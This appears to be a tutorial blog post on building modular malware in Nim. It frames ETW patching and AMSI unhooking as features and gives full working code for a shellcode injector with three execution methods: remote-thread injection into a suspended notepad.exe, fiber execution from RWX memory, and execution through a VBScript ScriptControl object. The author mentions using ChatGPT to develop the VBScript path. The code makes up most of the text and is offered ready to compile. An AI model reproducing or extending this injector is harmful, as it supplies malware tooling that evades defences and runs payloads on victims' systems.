why
One of the main advantages of creating a modular malware is that it allows you to break down the malware into smaller, more manageable components. By doing this, you can more easily focus on specific features and functionalities of the malware, such as patching ETW or unhooking AMSI. This makes it easier to understand how each feature works, and it also makes it easier to test and debug each component individually.
Creating a modular malware also helps you to develop a deeper understanding of how malware works as a whole. By breaking down the malware into smaller components, you can see how each component interacts with other components to create the overall behavior of the malware
The Approach
After implementing a shellcode injector in a language of your choice the next step is to continue learning by adding more features to it.
My approach of doing this was to take an injector I programmed in nim and split it up into 2 files. One file was the main file and the other was the file that handles execution.
I then used compiler flags to `define` different flags. These where used to select what execution approach to use. I started off with 2 these being using Threads and using Fibers
I had a main file that defined the shellcode and then called a function inject this function was defined 2 times in execution file. Either one was only included in the compilation if a certain flag was provided.
The flags where:
- USE_CRT
- USE_FIBERS
Later I implemented more approaches but the point is to look at new ideas and try to see how you can implement them into your own project.
CreateRemoteThread
When USE_CRT is defined the inject function looks like this:
Code: Click to show
when defined(USE_CRT):
import osproc
proc inject*[I, T](shellcode: array[I, T]): void =
let tProcess = startProcess("notepad.exe")
tProcess.suspend()
defer: tProcess.close()
echo "[CRT] Target process: ", tProcess.processID
let pHandle = OpenProcess(
PROCESS_ALL_ACCESS,
false,
cast[DWORD](tProcess.processID)
)
defer: CloseHandle(pHandle)
echo "[CRT] pHandle: ", pHandle
let rPtr = VirtualAllocEx(
pHandle,
NULL,
cast[SIZE_T](shellcode.len),
MEM_COMMIT,
PAGE_EXECUTE_READ_WRITE
)
var bytesWritten: SIZE_T
let wSuccess = writeMemory(
pHandle,
rPtr,
shellcode
)
echo "[CRT] WriteProcessMemory: ", bool(wSuccess)
let tHandle = CreateRemoteThread(
pHandle,
NULL,
0,
cast[LPTHREAD_START_ROUTINE](rPtr),
NULL,
0,
NULL
)
defer: CloseHandle(tHandle)
echo "[CRT] tHandle: ", tHandle
echo "[CRT] Shellcode injected!"
Fibers
When USE_FIBERS is defined the inject function looks like this:
Code: Click to show
when defined(USE_FIBERS):
proc inject*[I, T](shellcode: array[I, T]): void =
let MasterFiber = ConvertThreadToFiber(NULL)
echo "[FIBER] New Fiber Pointer: ", repr(MasterFiber)
let vAlloc = VirtualAlloc(NULL, cast[SIZE_T](shellcode.len), MEM_COMMIT, PAGE_EXECUTE_READ_WRITE)
var bytesWritten: SIZE_T
let pHandle = GetCurrentProcess()
echo "[FIBER] pHandle: ", repr(pHandle)
WriteProcessMemory(pHandle, vAlloc, unsafeaddr shellcode, cast[SIZE_T](shellcode.len), addr bytesWritten)
echo "[FIBER] bytesWritten: ", repr(bytesWritten)
let xFiber = CreateFiber(0, cast[LPFIBER_START_ROUTINE](vAlloc), NULL)
echo "[FIBER] Fiber Execution Pointer: ", repr(xFiber)
SwitchToFiber(xFiber)
Implementing Your Own Custom Ideas
Of course you can have a working injector by simply downloading this code and compiling however the learning comes in implementing your own ideas into your own project.
I remember working with VBScript when i was in MS Access to help with styling and knew the WinAPI is implemented in it. Using this idea I worked with chatGPT to try develop a way of calling VBScript from inside nim
I found a way of doing this and eventually through trial and error managed to implement a way of executing the shellcode in a VBScript instance.
Visual Basic (WScript.exe)
When USE_VBSCRIPT is defined the inject function looks like this:
Code: Click to show
when defined(USE_VBSCRIPT):
import strformat
import system
import winim/com
when defined(amd64):
echo "[VBSCRIPT EXECUTION] only supports windows i386 version"
quit(1)
proc inject*[I, T](shellcode: array[I, T]): void {.inline.} =
var obj = CreateObject("MSScriptControl.ScriptControl")
obj.allowUI = true
obj.useSafeSubset = false
obj.language = "VBScript"
var buffer = ""
for i in shellcode:
#makes the shellcode into space seperated hex values for VBSCRIPT to parse
buffer.add(fmt"{i:02X}")
var vbs = fmt"""
Dim shellcode
shellcode = "{$buffer}"
Dim buffer
buffer = ""
For i = 1 To Len(shellcode) Step 2
buffer = buffer & Chr(CByte("&H" & Mid(shellcode, i, 2)))
Next
Dim exec
Set exec = WScript.CreateObject("WScript.Shell")
exec.Run buffer
"""
obj.eval(vbs)